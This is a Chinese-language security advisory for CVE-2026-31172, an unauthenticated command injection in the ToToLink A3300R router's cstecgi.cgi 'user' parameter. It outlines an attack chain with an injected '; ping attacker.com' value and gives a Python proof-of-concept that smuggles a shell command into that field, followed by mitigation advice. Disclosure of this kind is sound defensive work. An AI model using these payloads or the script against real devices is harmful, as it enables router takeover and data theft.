CVE-2026-31172 CVSS 6.5 中危

CVE-2026-31172 ToToLink A3300R 命令注入漏洞

披露日期: 2026-04-23

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-31172

漏洞类型

命令注入

CVSS评分

6.5 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

ToToLink A3300R

漏洞概述

ToToLink A3300R路由器固件v17.0.0cu.557_B20221024版本存在命令注入漏洞。由于未正确过滤用户输入，攻击者无需认证即可通过向/cgi-bin/cstecgi.cgi接口发送恶意构造的user参数，在后台执行任意系统命令，从而完全控制设备。

技术细节

该漏洞源于ToToLink A3300R路由器Web管理界面/cgi-bin/cstecgi.cgi接口对用户输入参数缺乏严格的过滤和验证机制。具体而言，当程序处理`user`参数时，直接将其传递给底层的系统命令执行函数（如system()或popen()），而未对可能改变命令逻辑的特殊字符（如分号、管道符、反引号等）进行转义或过滤。攻击者可以通过网络向受影响设备发送特制的HTTP POST请求，在`user`字段中注入恶意Shell指令。由于该漏洞无需用户交互且无需身份验证，攻击者可远程利用此缺陷在目标设备上执行任意系统命令，获取最高权限，进而控制设备或植入后门。

攻击链分析

STEP 1

1. 信息收集

攻击者扫描网络，识别出运行ToToLink A3300R路由器且固件版本为v17.0.0cu.557_B20221024的目标设备。

STEP 2

2. 漏洞利用

攻击者向目标设备的/cgi-bin/cstecgi.cgi端点发送特制的HTTP POST请求，在user参数中注入恶意Shell命令（如; ping attacker.com）。

STEP 3

3. 命令执行

设备后端CGI程序未过滤user参数，直接将其拼接到系统命令中执行，导致攻击者的恶意命令在设备操作系统层面运行。

STEP 4

4. 后渗透控制

攻击者利用执行命令的权限，写入后门文件、修改配置或窃取敏感信息，完全控制路由器。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target configuration
target_url = "http://<TARGET_IP>/cgi-bin/cstecgi.cgi"

# Vulnerable parameter: user
# Payload attempts to inject a command using a semicolon
data_payload = {
    "user": "; echo CVE-2026-31172-Poc-Test > /tmp/poc.txt",
    # Other parameters might be required depending on the specific function called
}

headers = {
    "User-Agent": "Mozilla/5.0 (compatible; PoC/1.0)",
    "Content-Type": "application/x-www-form-urlencoded"
}

try:
    print(f"[*] Sending payload to {target_url}...")
    response = requests.post(target_url, data=data_payload, headers=headers, timeout=10)
    
    if response.status_code == 200:
        print("[+] Request sent successfully. Check if command executed.")
    else:
        print(f"[-] Server returned status code: {response.status_code}")
        
except Exception as e:
    print(f"[-] An error occurred: {e}")

影响范围

ToToLink A3300R v17.0.0cu.557_B20221024

防御指南

临时缓解措施

目前厂商尚未发布修复补丁（基于披露时间判断），建议用户限制对路由器管理界面的网络访问，利用防火墙规则阻断外部对80/443/cgi-bin路径的请求。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表